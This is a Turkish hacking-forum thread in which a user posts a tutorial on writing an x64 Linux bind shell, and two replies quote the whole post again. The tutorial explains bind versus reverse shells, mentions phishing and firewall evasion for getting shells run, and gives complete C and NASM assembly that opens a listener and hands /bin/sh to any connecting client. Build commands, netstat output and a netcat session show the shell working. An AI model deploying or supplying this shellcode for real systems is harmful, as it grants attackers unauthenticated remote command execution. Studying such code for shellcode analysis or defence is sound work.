TCP B1ND SH3LL - x64 | Assembly | Linux

xzh

Üye
8 Nis 2020
217
71
Genel olarak bağlantı kurmak için, hedef cihazdan Shell alması için yaygın olarak kullanılan iki metot bulunmakta. Bind Shell olarak adlandırılan bağlantı şeklinde hedefte açık olarak beklemekte olan bir porta direk olarak bağlantı kurulmaktadır. Reverse bağlantıda ise kurban makinenin saldırganın bilgisayarındaki açık bir porta bağlanarak bu bağlantı ile shell’ini saldırgana açması söz konusudur.

Temel çalışma farkını anladıkdan sonra bir örnek ile pekiştirelim. Şöyle düşünün bir attacker ve victim olduğunu düşünün. Attacker'in bağlantı kurması gerekmekde ama şöyle bir sorun var dış ağdan
DMZ ağına gelen trafiğe 80 ve 443 numaralı portlardan erişime izin verilirken, iç ağdan dış ağa çıkan trafiğe 53, 80 ve 443 numaralı portlardan erişime izin verilebilir. Ancak, dış ağdan iç ağa gelen tüm istekler port bazlı olarak engellenmişse, güvenlik duvarı, iç ağdan dış ağa çıkmasına izin verilen portlardan birinden dış ağa bağlanıldığında bu bağlantıyı izler ve bu IP adresinden gelen isteklere izin verir. Bu özellik, güvenlik duvarının "stateful" olduğunu gösterir.

NAT arkasında olan ve dış ağdan gelen bağlantıların engellendiği bir senaryoda, firewall kurallarını atlatmak için "Reverse shell" kullanılır. Önemli olan noktalardan biri, bağlantının içeriden başlatılmasıdır, bu da kullanıcıyı bağlantı başlatmaya yönlendirecek tekniklerin kullanılmasını gerektirir. Bu teknikler, oltalama saldırıları gibi kullanıcıyı yanıltıcı taktikleri içerebilir. Burada dikkat edilmesi gereken bir diğer husus, içerisinde reverse shell bulunan bir dosyanın çalıştırılmasıdır. Umarım her şeyi daha iyi anlamışsınız.


bindshell.png
reverseshell.png


Şuna kadar her şey "okay" ise BİND shell dediğimiz olaya daha derinden bakalım ve kodlayalım

Bir bind shell'in işlevlerini assembly diline çevirmek için, sürecin adımlarını gözden geçirelim.

(şuanlık basit düşünelim ilerleyen kısımlarda başka kavramlara değinmeye çalışacağım.)
  1. Socket oluşturma:
İlk adım, socket sistem çağrısını kullanarak bir soket oluşturmaktır. Bu çağrı bir iletişim uç noktası başlatır ve bağlantılı kabuğun ağla etkileşim kurmasını sağlar.
  1. Socket bağlama:
Ardından, bağlantılı shell yeni oluşturulan soketi belirli bir IP adresine ve porta bağlar. Bu işlem, soketi benzersiz bir ağ adresiyle ilişkilendirir ve gelen bağlantıların bağlantılı kabuğa yönlendirilmesini sağlar.
  1. Bağlantıları dinleme:
Soket bağlandıktan sonra bağlantılı shell, listen sistem çağrısını kullanarak bir dinleme durumuna girer. Bu, soketin belirtilen porta bağlanmaya çalışan herhangi bir istemciden gelen bağlantıları kabul etmesini sağlar.
  1. Bağlantıyı kabul etme:
Gelen bir bağlantı aldıktan sonra bağlantılı Shell, accept sistem çağrısını kullanarak bağlantıyı kabul eder ve istemcinin soket tanımlayıcısını alır. Bu tanımlayıcı, bağlantılı shell ve istemci arasındaki kurulu iletişim kanalını temsil eder.
  1. Standart giriş/çıkışı kopyalama:
Hedef sistemle etkileşimi kolaylaştırmak için bağlantılı shell , dup2 sistem çağrısını kullanarak standart giriş, çıkış ve hata akışlarını kopyalar. Bu, saldırganın komutlarının hedef sistemin ortamında yürütülmesini sağlar.
  1. Bir shell çalıştırma:
Son adım, saldırgana etkileşimli bir komut satırı arayüzü sağlamak için bir shell programı çalıştırmayı içerir. Bu, belirtilen Shell programını yükleyip çalıştıran execve sistem çağrısı kullanılarak gerçekleştirilir.
  • Adımları anladığımıza göre devam edelim <3​
C'de bu adımları şöyle göre bilirsiniz.
C:
#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {

    // This is our first syscall, the socket() call.
    int listen_sock = socket(AF_INET, SOCK_STREAM, 0);

    // It looks like here we're building a 'struct' which consists of AF_INET, the interface we want to listen on (all), and a port number to bind on. This entire entity will be referenced in arguments for the next syscall: bind()   
    struct sockaddr_in server_addr;
    server_addr.sin_family = AF_INET;           
    server_addr.sin_addr.s_addr = INADDR_ANY; 
    server_addr.sin_port = htons(5555);       

    // Our second syscall, and perhaps the most complicated: bind()
    bind(listen_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));

    // Our third syscall is listen()
    listen(listen_sock, 0);

    // Our fourth syscall is accept()
    int conn_sock = accept(listen_sock, NULL, NULL);

    // Our fifth syscall, dup2(), is used 3 times
    dup2(conn_sock, 0);
    dup2(conn_sock, 1);
    dup2(conn_sock, 2);

    // Our final syscall is execve(), which runs a program fed to it as a string
    execve("/bin/sh", NULL, NULL);
}

  • Gelelim assembly kodlamaya.
Kod:
cat /usr/include/asm/unistd.h | grep soket

Başlatma:
  • global _start: Bu komut, asembly'de _start sembolünün programın giriş noktası olduğunu söyler.
Socket Oluşturma :
  • rax: Sistem çağrısı numarası (41 - socket için).
  • rdi: Adres ailesi (AF_INET - 2 olarak ayarlanır).
  • rsi: Soket tipi (SOCK_STREAM - 1 olarak ayarlanır).
  • rdx: Protokol (0 olarak ayarlanır).
  • syscall talimatı, bir soket oluşturmak için sistem çağrısını tetikler.
  • Soket tanımlayıcısı (syscall tarafından döndürülür) daha sonra rdi içinde saklanır.
Sunucu Yapısını Kurma:
  • Kod, bind sistem çağrısı için veri yapısını hazırlar:
    • server.sin_family: xor rax, rax kullanarak AF_INET (2) olarak ayarlanır.
    • server.sin_port: Sabit kodlanmış port değeri (0x5c11 - muhtemelen değiştirilmesi gerekir).
    • server.sin_addr.s_addr: INADDR_ANY (0x00000000) olarak ayarlanır.
    • server.sin_zero: bzero işlevi kullanılarak sıfıra indirilir (xor ve push ile).
  • Tüm yapı ters sırayla yığının üzerine itilir.
Soket Bağlama :
  • Kod, bind sistem çağrısı için argümanları kurar:
    • rax: Sistem çağrısı numarası (49 - bind için).
    • rsi: Yığındaki sunucu yapısına işaretçi.
    • rdx: Sunucu yapısının uzunluğu (16 bayt).
  • syscall talimatı, soketi belirli bir IP adresi ve porta bağlamak için bind sistem çağrısını yürütür.
Bağlantıları Dinleme :
  • Kod, listen sistem çağrısı için argümanları kurar:
    • rax: Sistem çağrısı numarası (50 - listen için).
    • rsi: Bekleme sırası (sıradaki maksimum bağlantı sayısı - 2 olarak ayarlanır).
  • syscall talimatı, soketi dinleme moduna sokmak için listen sistem çağrısını yürütür.
Bağlantıyı Kabul Etme :
  • Kod, accept sistem çağrısına hazırlanır:
    • rax: Sistem çağrısı numarası (43 - accept için).
    • Yığın, istemci yapısı için yer ayırmak üzere ayarlanır.
    • İstemci yapısı boyutunun bir yer tutucusu (16 bayt) itilir.
    • Ayrılan alanın adresi rdx içinde saklanır.
  • syscall talimatı, gelen bir bağlantı isteğini kabul etmek için accept sistem çağrısını yürütür.
    • Yeni bağlantı için soket tanımlayıcısı r9 içinde saklanır.
Ana Soket Kapatma (close Sistem Çağrısı):
  • Kod, close sistem çağrısını kullanarak orijinal soketi kapatır:
    • rax: Sistem çağrısı numarası (3 - close için).
    • rdi: Orijinal soketin soket tanımlayıcısı (önceden elde edilmiştir).
Socket'leri Kopyalama:
  • Kod, syscall'i üç kez kullanarak r9 socket tanımlayıcısını (istemci bağlantısını temsil eden) standart giriş (dosya tanımlayıcı 0), standart çıktı (dosya tanımlayıcı 1) ve standart hata (dosya tanımlayıcı 2)'ye kopyalamak için bir döngü gerçekleştirir.
  • Döngü nasıl çalışır:
    • mov rdi, r9 - Bu, rdi'yi istemci socket tanımlayıcısına (r9) ayarlar.
    • mov rax, 33 - Bu, rax'ı dup2 (33 olan) sistem çağrısı numarasına ayarlar.
    • mov rsi, <descriptor_number> - Bu, rsi'yi istemci socket tanımlayıcısını kopyalamak istediğimiz dosya tanımlayıcısına ayarlar. Döngü, standart giriş, çıktı ve hata için sırasıyla rsi'yi 0, 1 ve 2 değerlerine atar.
    • syscall - Bu, istemci socket tanımlayıcısını belirtilen dosya tanımlayıcısına kopyalamak için sistem çağrısını başlatır.
  • İstemci socket tanımlayıcısını standart giriş, çıktı ve hataya kopyalayarak program, istemciden alınan veya gönderilen herhangi bir verinin bu standart akışlar aracılığıyla işleneceğini garantiliyor. Bu, programın bağlı istemci ile iletişim kurmak için read ve write gibi standart G/Ç işlevlerini kullanmasına izin verir.
Execve Sycall :

Şimdi, kod execve sistem çağrısını gerçekleştirmek için ön hazırlık yapıyor. Bu çağrı, yeni bir program yürütmek için kullanılır. Kod, yığın üzerine bir dizi argüman itiyor:
  1. execve için argümanları itme:
    • xor rax, rax - Bu, rax kaydını sıfırlıyor.
    • push rax - Yığın üzerine bir null değeri itiyor. Bu, execve için ortam argümanı olacaktır (genellikle bir dize dizisi olsa da burada boştur).
    • mov rbx, 0x68732f2f6e69622f - Bu, "/bin//sh" (kabuk programı) adresini ters sırada rbx kaydına yükler.
    • push rbx - Ters çevrilmiş kabuk programı adresini yığın üzerine iter.
    • mov rdi, rsp - Bu, yığın işaretçisini (rsp) rdi kaydına aktarır. Bu, rdi'yi yığındaki "/bin//sh" dizisinin adresine işaret eder.
    • push rax - Yığın üzerine bir başka null değeri iter. Bu, execve için argv[1] argümanı olacaktır (genellikle program için argümanlar listesi olsa da burada boştur).
Kod:
└─$ cat alixan.nasm
global _start


_start:

        ; sock = socket(AF_INET, SOCK_STREAM, 0)
        ; AF_INET = 2
        ; SOCK_STREAM = 1
        ; syscall number 41


        mov rax, 41
        mov rdi, 2
        mov rsi, 1
        mov rdx, 0
        syscall

        ; copy socket descriptor to rdi for future use

        mov rdi, rax


        ; server.sin_family = AF_INET
        ; server.sin_port = htons(PORT)
        ; server.sin_addr.s_addr = INADDR_ANY
        ; bzero(&server.sin_zero, 8)

        xor rax, rax

        push rax

        mov dword [rsp-4], eax
        mov word [rsp-6], 0x5c11
        mov word [rsp-8], 0x2
        sub rsp, 8


        ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
        ; syscall number 49

        mov rax, 49

        mov rsi, rsp
        mov rdx, 16
        syscall


        ; listen(sock, MAX_CLIENTS)
        ; syscall number 50

        mov rax, 50
        mov rsi, 2
        syscall


        ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
        ; syscall number 43


        mov rax, 43
        sub rsp, 16
        mov rsi, rsp
        mov byte [rsp-1], 16
        sub rsp, 1
        mov rdx, rsp

        syscall

        ; store the client socket description
        mov r9, rax

        ; close parent

        mov rax, 3
        syscall

        ; duplicate sockets

        ; dup2 (new, old)
        mov rdi, r9
        mov rax, 33
        mov rsi, 0
        syscall

        mov rax, 33
        mov rsi, 1
        syscall

        mov rax, 33
        mov rsi, 2
        syscall



        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall
Kod:
$ nasm -felf64 alixan.nasm -o alixan.o | Anlatdıklarımı şimdi gerçekleştirme zamani.

Kod:
─$ ld alixan.o -o alixan
  1. İlk adımda NASM (Netwide Assembler) kullanarak alixan.nasm dosyasını derleyeceğiz ve çıktıyı alixan.o dosyasına kaydedeceğiz
  2. Ardından, ld (Linker) kullanarak derlenmiş nesne dosyasını bağlayacağız ve çalıştırılabilir bir dosya oluşturacağız. Çıktıyı alixan adında bir dosyaya kaydedeceğiz
Kod:
─$ ./alixan

Kod:
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN                                                                                 
tcp        0      0 localhost:6010          0.0.0.0:*               LISTEN                                                                                 
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN                                                                                 
tcp        0      0 192.168.48.131:ssh      192.168.48.1:4721       ESTABLISHED                                                                             
tcp        0      0 192.168.48.131:ssh      192.168.48.1:4722       ESTABLISHED                                                                             
tcp6       0      0 localhost:6010          [::]:*                  LISTEN                                                                                 
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN                                                                                 
udp        0      0 192.168.48.131:bootpc   192.168.48.254:bootps   ESTABLISHED                                                                             
raw6       0      0 [::]:ipv6-icmp          [::]:*                  7
Gördüğümüz gibi 4444 portunda bir listener bulunuyor.
Kod:
└─$ nc localhost 4444
whoami
kali
Konu buraya kadardı. İyi günler. <3


 

ACE Veen

Uzman üye
4 Şub 2023
1,100
554
Belirsiz
Genel olarak bağlantı kurmak için, hedef cihazdan Shell alması için yaygın olarak kullanılan iki metot bulunmakta. Bind Shell olarak adlandırılan bağlantı şeklinde hedefte açık olarak beklemekte olan bir porta direk olarak bağlantı kurulmaktadır. Reverse bağlantıda ise kurban makinenin saldırganın bilgisayarındaki açık bir porta bağlanarak bu bağlantı ile shell’ini saldırgana açması söz konusudur.

Temel çalışma farkını anladıkdan sonra bir örnek ile pekiştirelim. Şöyle düşünün bir attacker ve victim olduğunu düşünün. Attacker'in bağlantı kurması gerekmekde ama şöyle bir sorun var dış ağdan
DMZ ağına gelen trafiğe 80 ve 443 numaralı portlardan erişime izin verilirken, iç ağdan dış ağa çıkan trafiğe 53, 80 ve 443 numaralı portlardan erişime izin verilebilir. Ancak, dış ağdan iç ağa gelen tüm istekler port bazlı olarak engellenmişse, güvenlik duvarı, iç ağdan dış ağa çıkmasına izin verilen portlardan birinden dış ağa bağlanıldığında bu bağlantıyı izler ve bu IP adresinden gelen isteklere izin verir. Bu özellik, güvenlik duvarının "stateful" olduğunu gösterir.

NAT arkasında olan ve dış ağdan gelen bağlantıların engellendiği bir senaryoda, firewall kurallarını atlatmak için "Reverse shell" kullanılır. Önemli olan noktalardan biri, bağlantının içeriden başlatılmasıdır, bu da kullanıcıyı bağlantı başlatmaya yönlendirecek tekniklerin kullanılmasını gerektirir. Bu teknikler, oltalama saldırıları gibi kullanıcıyı yanıltıcı taktikleri içerebilir. Burada dikkat edilmesi gereken bir diğer husus, içerisinde reverse shell bulunan bir dosyanın çalıştırılmasıdır. Umarım her şeyi daha iyi anlamışsınız.


bindshell.png
reverseshell.png


Şuna kadar her şey "okay" ise BİND shell dediğimiz olaya daha derinden bakalım ve kodlayalım

Bir bind shell'in işlevlerini assembly diline çevirmek için, sürecin adımlarını gözden geçirelim.

(şuanlık basit düşünelim ilerleyen kısımlarda başka kavramlara değinmeye çalışacağım.)
  1. Socket oluşturma:
İlk adım, socket sistem çağrısını kullanarak bir soket oluşturmaktır. Bu çağrı bir iletişim uç noktası başlatır ve bağlantılı kabuğun ağla etkileşim kurmasını sağlar.
  1. Socket bağlama:
Ardından, bağlantılı shell yeni oluşturulan soketi belirli bir IP adresine ve porta bağlar. Bu işlem, soketi benzersiz bir ağ adresiyle ilişkilendirir ve gelen bağlantıların bağlantılı kabuğa yönlendirilmesini sağlar.
  1. Bağlantıları dinleme:
Soket bağlandıktan sonra bağlantılı shell, listen sistem çağrısını kullanarak bir dinleme durumuna girer. Bu, soketin belirtilen porta bağlanmaya çalışan herhangi bir istemciden gelen bağlantıları kabul etmesini sağlar.
  1. Bağlantıyı kabul etme:
Gelen bir bağlantı aldıktan sonra bağlantılı Shell, accept sistem çağrısını kullanarak bağlantıyı kabul eder ve istemcinin soket tanımlayıcısını alır. Bu tanımlayıcı, bağlantılı shell ve istemci arasındaki kurulu iletişim kanalını temsil eder.
  1. Standart giriş/çıkışı kopyalama:
Hedef sistemle etkileşimi kolaylaştırmak için bağlantılı shell , dup2 sistem çağrısını kullanarak standart giriş, çıkış ve hata akışlarını kopyalar. Bu, saldırganın komutlarının hedef sistemin ortamında yürütülmesini sağlar.
  1. Bir shell çalıştırma:
Son adım, saldırgana etkileşimli bir komut satırı arayüzü sağlamak için bir shell programı çalıştırmayı içerir. Bu, belirtilen Shell programını yükleyip çalıştıran execve sistem çağrısı kullanılarak gerçekleştirilir.
  • Adımları anladığımıza göre devam edelim <3​
C'de bu adımları şöyle göre bilirsiniz.
C:
#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {

    // This is our first syscall, the socket() call.
    int listen_sock = socket(AF_INET, SOCK_STREAM, 0);

    // It looks like here we're building a 'struct' which consists of AF_INET, the interface we want to listen on (all), and a port number to bind on. This entire entity will be referenced in arguments for the next syscall: bind()  
    struct sockaddr_in server_addr;
    server_addr.sin_family = AF_INET;          
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(5555);      

    // Our second syscall, and perhaps the most complicated: bind()
    bind(listen_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));

    // Our third syscall is listen()
    listen(listen_sock, 0);

    // Our fourth syscall is accept()
    int conn_sock = accept(listen_sock, NULL, NULL);

    // Our fifth syscall, dup2(), is used 3 times
    dup2(conn_sock, 0);
    dup2(conn_sock, 1);
    dup2(conn_sock, 2);

    // Our final syscall is execve(), which runs a program fed to it as a string
    execve("/bin/sh", NULL, NULL);
}

  • Gelelim assembly kodlamaya.
Kod:
cat /usr/include/asm/unistd.h | grep soket

Başlatma:
  • global _start: Bu komut, asembly'de _start sembolünün programın giriş noktası olduğunu söyler.
Socket Oluşturma :
  • rax: Sistem çağrısı numarası (41 - socket için).
  • rdi: Adres ailesi (AF_INET - 2 olarak ayarlanır).
  • rsi: Soket tipi (SOCK_STREAM - 1 olarak ayarlanır).
  • rdx: Protokol (0 olarak ayarlanır).
  • syscall talimatı, bir soket oluşturmak için sistem çağrısını tetikler.
  • Soket tanımlayıcısı (syscall tarafından döndürülür) daha sonra rdi içinde saklanır.
Sunucu Yapısını Kurma:
  • Kod, bind sistem çağrısı için veri yapısını hazırlar:
    • server.sin_family: xor rax, rax kullanarak AF_INET (2) olarak ayarlanır.
    • server.sin_port: Sabit kodlanmış port değeri (0x5c11 - muhtemelen değiştirilmesi gerekir).
    • server.sin_addr.s_addr: INADDR_ANY (0x00000000) olarak ayarlanır.
    • server.sin_zero: bzero işlevi kullanılarak sıfıra indirilir (xor ve push ile).
  • Tüm yapı ters sırayla yığının üzerine itilir.
Soket Bağlama :
  • Kod, bind sistem çağrısı için argümanları kurar:
    • rax: Sistem çağrısı numarası (49 - bind için).
    • rsi: Yığındaki sunucu yapısına işaretçi.
    • rdx: Sunucu yapısının uzunluğu (16 bayt).
  • syscall talimatı, soketi belirli bir IP adresi ve porta bağlamak için bind sistem çağrısını yürütür.
Bağlantıları Dinleme :
  • Kod, listen sistem çağrısı için argümanları kurar:
    • rax: Sistem çağrısı numarası (50 - listen için).
    • rsi: Bekleme sırası (sıradaki maksimum bağlantı sayısı - 2 olarak ayarlanır).
  • syscall talimatı, soketi dinleme moduna sokmak için listen sistem çağrısını yürütür.
Bağlantıyı Kabul Etme :
  • Kod, accept sistem çağrısına hazırlanır:
    • rax: Sistem çağrısı numarası (43 - accept için).
    • Yığın, istemci yapısı için yer ayırmak üzere ayarlanır.
    • İstemci yapısı boyutunun bir yer tutucusu (16 bayt) itilir.
    • Ayrılan alanın adresi rdx içinde saklanır.
  • syscall talimatı, gelen bir bağlantı isteğini kabul etmek için accept sistem çağrısını yürütür.
    • Yeni bağlantı için soket tanımlayıcısı r9 içinde saklanır.
Ana Soket Kapatma (close Sistem Çağrısı):
  • Kod, close sistem çağrısını kullanarak orijinal soketi kapatır:
    • rax: Sistem çağrısı numarası (3 - close için).
    • rdi: Orijinal soketin soket tanımlayıcısı (önceden elde edilmiştir).
Socket'leri Kopyalama:
  • Kod, syscall'i üç kez kullanarak r9 socket tanımlayıcısını (istemci bağlantısını temsil eden) standart giriş (dosya tanımlayıcı 0), standart çıktı (dosya tanımlayıcı 1) ve standart hata (dosya tanımlayıcı 2)'ye kopyalamak için bir döngü gerçekleştirir.
  • Döngü nasıl çalışır:
    • mov rdi, r9 - Bu, rdi'yi istemci socket tanımlayıcısına (r9) ayarlar.
    • mov rax, 33 - Bu, rax'ı dup2 (33 olan) sistem çağrısı numarasına ayarlar.
    • mov rsi, <descriptor_number> - Bu, rsi'yi istemci socket tanımlayıcısını kopyalamak istediğimiz dosya tanımlayıcısına ayarlar. Döngü, standart giriş, çıktı ve hata için sırasıyla rsi'yi 0, 1 ve 2 değerlerine atar.
    • syscall - Bu, istemci socket tanımlayıcısını belirtilen dosya tanımlayıcısına kopyalamak için sistem çağrısını başlatır.
  • İstemci socket tanımlayıcısını standart giriş, çıktı ve hataya kopyalayarak program, istemciden alınan veya gönderilen herhangi bir verinin bu standart akışlar aracılığıyla işleneceğini garantiliyor. Bu, programın bağlı istemci ile iletişim kurmak için read ve write gibi standart G/Ç işlevlerini kullanmasına izin verir.
Execve Sycall :

Şimdi, kod execve sistem çağrısını gerçekleştirmek için ön hazırlık yapıyor. Bu çağrı, yeni bir program yürütmek için kullanılır. Kod, yığın üzerine bir dizi argüman itiyor:
  1. execve için argümanları itme:
    • xor rax, rax - Bu, rax kaydını sıfırlıyor.
    • push rax - Yığın üzerine bir null değeri itiyor. Bu, execve için ortam argümanı olacaktır (genellikle bir dize dizisi olsa da burada boştur).
    • mov rbx, 0x68732f2f6e69622f - Bu, "/bin//sh" (kabuk programı) adresini ters sırada rbx kaydına yükler.
    • push rbx - Ters çevrilmiş kabuk programı adresini yığın üzerine iter.
    • mov rdi, rsp - Bu, yığın işaretçisini (rsp) rdi kaydına aktarır. Bu, rdi'yi yığındaki "/bin//sh" dizisinin adresine işaret eder.
    • push rax - Yığın üzerine bir başka null değeri iter. Bu, execve için argv[1] argümanı olacaktır (genellikle program için argümanlar listesi olsa da burada boştur).
Kod:
└─$ cat alixan.nasm
global _start


_start:

        ; sock = socket(AF_INET, SOCK_STREAM, 0)
        ; AF_INET = 2
        ; SOCK_STREAM = 1
        ; syscall number 41


        mov rax, 41
        mov rdi, 2
        mov rsi, 1
        mov rdx, 0
        syscall

        ; copy socket descriptor to rdi for future use

        mov rdi, rax


        ; server.sin_family = AF_INET
        ; server.sin_port = htons(PORT)
        ; server.sin_addr.s_addr = INADDR_ANY
        ; bzero(&server.sin_zero, 8)

        xor rax, rax

        push rax

        mov dword [rsp-4], eax
        mov word [rsp-6], 0x5c11
        mov word [rsp-8], 0x2
        sub rsp, 8


        ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
        ; syscall number 49

        mov rax, 49

        mov rsi, rsp
        mov rdx, 16
        syscall


        ; listen(sock, MAX_CLIENTS)
        ; syscall number 50

        mov rax, 50
        mov rsi, 2
        syscall


        ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
        ; syscall number 43


        mov rax, 43
        sub rsp, 16
        mov rsi, rsp
        mov byte [rsp-1], 16
        sub rsp, 1
        mov rdx, rsp

        syscall

        ; store the client socket description
        mov r9, rax

        ; close parent

        mov rax, 3
        syscall

        ; duplicate sockets

        ; dup2 (new, old)
        mov rdi, r9
        mov rax, 33
        mov rsi, 0
        syscall

        mov rax, 33
        mov rsi, 1
        syscall

        mov rax, 33
        mov rsi, 2
        syscall



        ; execve

        ; First NULL push

        xor rax, rax
        push rax

        ; push /bin//sh in reverse

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI

        mov rdi, rsp

        ; Second NULL push
        push rax

        ; set RDX
        mov rdx, rsp


        ; Push address of /bin//sh
        push rdi

        ; set RSI

        mov rsi, rsp

        ; Call the Execve syscall
        add rax, 59
        syscall
Kod:
$ nasm -felf64 alixan.nasm -o alixan.o | Anlatdıklarımı şimdi gerçekleştirme zamani.

Kod:
─$ ld alixan.o -o alixan
  1. İlk adımda NASM (Netwide Assembler) kullanarak alixan.nasm dosyasını derleyeceğiz ve çıktıyı alixan.o dosyasına kaydedeceğiz
  2. Ardından, ld (Linker) kullanarak derlenmiş nesne dosyasını bağlayacağız ve çalıştırılabilir bir dosya oluşturacağız. Çıktıyı alixan adında bir dosyaya kaydedeceğiz
Kod:
─$ ./alixan

Kod:
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN                                                                                
tcp        0      0 localhost:6010          0.0.0.0:*               LISTEN                                                                                
tcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN                                                                                
tcp        0      0 192.168.48.131:ssh      192.168.48.1:4721       ESTABLISHED                                                                            
tcp        0      0 192.168.48.131:ssh      192.168.48.1:4722       ESTABLISHED                                                                            
tcp6       0      0 localhost:6010          [::]:*                  LISTEN                                                                                
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN                                                                                
udp        0      0 192.168.48.131:bootpc   192.168.48.254:bootps   ESTABLISHED                                                                            
raw6       0      0 [::]:ipv6-icmp          [::]:*                  7
Gördüğümüz gibi 4444 portunda bir listener bulunuyor.
Kod:
└─$ nc localhost 4444
whoami
kali
Konu buraya kadardı. İyi günler. <3


elinize sağlık
 

Çokgen

Katılımcı Üye
4 Eyl 2023
412
196
Genel olarak bağlantı kurmak için, hedef cihazdan Shell alması için yaygın olarak kullanılan iki metot bulunmakta. Bind Shell olarak adlandırılan bağlantı şeklinde hedefte açık olarak beklemekte olan bir porta direk olarak bağlantı kurulmaktadır. Reverse bağlantıda ise kurban makinenin saldırganın bilgisayarındaki açık bir porta bağlanarak bu bağlantı ile shell’ini saldırgana açması söz konusudur.

Temel çalışma farkını anladıkdan sonra bir örnek ile pekiştirelim. Şöyle düşünün bir attacker ve victim olduğunu düşünün. Attacker'in bağlantı kurması gerekmekde ama şöyle bir sorun var dış ağdan
DMZ ağına gelen trafiğe 80 ve 443 numaralı portlardan erişime izin verilirken, iç ağdan dış ağa çıkan trafiğe 53, 80 ve 443 numaralı portlardan erişime izin verilebilir. Ancak, dış ağdan iç ağa gelen tüm istekler port bazlı olarak engellenmişse, güvenlik duvarı, iç ağdan dış ağa çıkmasına izin verilen portlardan birinden dış ağa bağlanıldığında bu bağlantıyı izler ve bu IP adresinden gelen isteklere izin verir. Bu özellik, güvenlik duvarının "stateful" olduğunu gösterir.

NAT arkasında olan ve dış ağdan gelen bağlantıların engellendiği bir senaryoda, firewall kurallarını atlatmak için "Reverse shell" kullanılır. Önemli olan noktalardan biri, bağlantının içeriden başlatılmasıdır, bu da kullanıcıyı bağlantı başlatmaya yönlendirecek tekniklerin kullanılmasını gerektirir. Bu teknikler, oltalama saldırıları gibi kullanıcıyı yanıltıcı taktikleri içerebilir. Burada dikkat edilmesi gereken bir diğer husus, içerisinde reverse shell bulunan bir dosyanın çalıştırılmasıdır. Umarım her şeyi daha iyi anlamışsınız.


bindshell.png
reverseshell.png


Şuna kadar her şey "okay" ise BİND shell dediğimiz olaya daha derinden bakalım ve kodlayalım

Bir bind shell'in işlevlerini assembly diline çevirmek için, sürecin adımlarını gözden geçirelim.

(şuanlık basit düşünelim ilerleyen kısımlarda başka kavramlara değinmeye çalışacağım.)
  1. Socket oluşturma:
İlk adım, socket sistem çağrısını kullanarak bir soket oluşturmaktır. Bu çağrı bir iletişim uç noktası başlatır ve bağlantılı kabuğun ağla etkileşim kurmasını sağlar.
  1. Socket bağlama:
Ardından, bağlantılı shell yeni oluşturulan soketi belirli bir IP adresine ve porta bağlar. Bu işlem, soketi benzersiz bir ağ adresiyle ilişkilendirir ve gelen bağlantıların bağlantılı kabuğa yönlendirilmesini sağlar.
  1. Bağlantıları dinleme:
Soket bağlandıktan sonra bağlantılı shell, listen sistem çağrısını kullanarak bir dinleme durumuna girer. Bu, soketin belirtilen porta bağlanmaya çalışan herhangi bir istemciden gelen bağlantıları kabul etmesini sağlar.
  1. Bağlantıyı kabul etme:
Gelen bir bağlantı aldıktan sonra bağlantılı Shell, accept sistem çağrısını kullanarak bağlantıyı kabul eder ve istemcinin soket tanımlayıcısını alır. Bu tanımlayıcı, bağlantılı shell ve istemci arasındaki kurulu iletişim kanalını temsil eder.
  1. Standart giriş/çıkışı kopyalama:
Hedef sistemle etkileşimi kolaylaştırmak için bağlantılı shell , dup2 sistem çağrısını kullanarak standart giriş, çıkış ve hata akışlarını kopyalar. Bu, saldırganın komutlarının hedef sistemin ortamında yürütülmesini sağlar.
  1. Bir shell çalıştırma:
Son adım, saldırgana etkileşimli bir komut satırı arayüzü sağlamak için bir shell programı çalıştırmayı içerir. Bu, belirtilen Shell programını yükleyip çalıştıran execve sistem çağrısı kullanılarak gerçekleştirilir.
  • Adımları anladığımıza göre devam edelim <3​
C'de bu adımları şöyle göre bilirsiniz.
C:
#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {

    // This is our first syscall, the socket() call.
    int listen_sock = socket(AF_INET, SOCK_STREAM, 0);

    // It looks like here we're building a 'struct' which consists of AF_INET, the interface we want to listen on (all), and a port number to bind on. This entire entity will be referenced in arguments for the next syscall: bind() 
    struct sockaddr_in server_addr;
    server_addr.sin_family = AF_INET;         
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(5555);     

    // Our second syscall, and perhaps the most complicated: bind()
    bind(listen_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));

    // Our third syscall is listen()
    listen(listen_sock, 0);

    // Our fourth syscall is accept()
    int conn_sock = accept(listen_sock, NULL, NULL);

    // Our fifth syscall, dup2(), is used 3 times
    dup2(conn_sock, 0);
    dup2(conn_sock, 1);
    dup2(conn_sock, 2);

    // Our final syscall is execve(), which runs a program fed to it as a string
    execve("/bin/sh", NULL, NULL);
}

  • Gelelim assembly kodlamaya.
Kod:
cat /usr/include/asm/unistd.h | grep soket

Başlatma:
  • global _start: Bu komut, asembly'de _start sembolünün programın giriş noktası olduğunu söyler.
Socket Oluşturma :
  • rax: Sistem çağrısı numarası (41 - socket için).
  • rdi: Adres ailesi (AF_INET - 2 olarak ayarlanır).
  • rsi: Soket tipi (SOCK_STREAM - 1 olarak ayarlanır).
  • rdx: Protokol (0 olarak ayarlanır).
  • syscall talimatı, bir soket oluşturmak için sistem çağrısını tetikler.
